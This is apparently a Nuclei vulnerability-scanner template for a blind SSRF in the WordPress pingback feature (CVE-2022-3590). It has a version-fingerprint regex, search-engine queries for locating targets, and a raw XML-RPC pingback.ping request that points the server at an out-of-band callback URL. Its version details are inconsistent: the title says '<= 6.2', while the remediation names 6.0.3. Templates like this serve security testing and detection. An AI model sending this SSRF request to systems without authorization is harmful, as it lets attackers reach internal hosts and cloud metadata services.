WordPress <= 6.2 - Server Side Request Forgery

id: CVE-2022-3590

info:
  name: WordPress <= 6.2 - Server Side Request Forgery
  author: riteshs4hu
  severity: medium
  description: |
    WordPress is affected by an unauthenticated blind SSRF in the pingback feature. Because of a TOCTOU race condition between the validation checks and the HTTP request, attackers can reach internal hosts that are explicitly forbidden.
  impact: |
    Unauthenticated attackers can exploit a race condition in the WordPress pingback feature to perform blind SSRF attacks, potentially accessing internal network resources, cloud metadata endpoints, or other restricted internal services that are explicitly forbidden by validation checks.
  remediation: |
    Update WordPress to version 6.0.3 or later that properly handles TOCTOU race conditions in the pingback feature.
  reference:
    - https://wpscan.com/vulnerability/c8814e6e-78b3-4f63-a1d3-6906a84c1f11
    - https://www.sonarsource.com/blog/wordpress-core-unauthenticated-blind-ssrf/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 5.9
    cve-id: CVE-2022-3590
    cwe-id: CWE-367
    epss-score: 0.0315
    epss-percentile: 0.86324
    cpe: cpe:2.3:a:wordpress:wordpress:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wordpress
    product: wordpress
    shodan-query:
      - cpe:"cpe:2.3:a:wordpress:wordpress"
      - http.component:"wordpress"
    fofa-query: body="oembed" && body="wp-"
  tags: cve,cve2022,wordpress,wpscan,ssrf,oast,oob,vkev,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: regex
        part: body
        regex:
          - 'WordPress\s+(?:[1-5]\.\d+(?:\.\d+)?|6\.[0-2](?:\.\d+)?)'
        internal: true

  - raw:
      - |
        POST /xmlrpc.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml

        <?xml version="1.0"?>
        <methodCall>
          <methodName>pingback.ping</methodName>
          <params>
            <param>
              <value><string>http://{{interactsh-url}}/</string></value>
            </param>
            <param>
              <value><string>{{RootURL}}/?p=1</string></value>
            </param>
          </params>
        </methodCall>
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_all(body, '<methodResponse>','faultCode','<fault>')"
          - "contains(content_type, 'text/xml')"
          - "contains(interactsh_protocol, 'dns')"
        condition: and
# digest: 4a0a00473045022042b12b948a2ef44bc82d5710165ec16e13d299ad1c09c4034e574eb86b2c9513022100879b1df5259afa62ece602c514054c8f9353feea3150316275dfcc651da45c7d:922c64590222798bb761d5b6d8e72950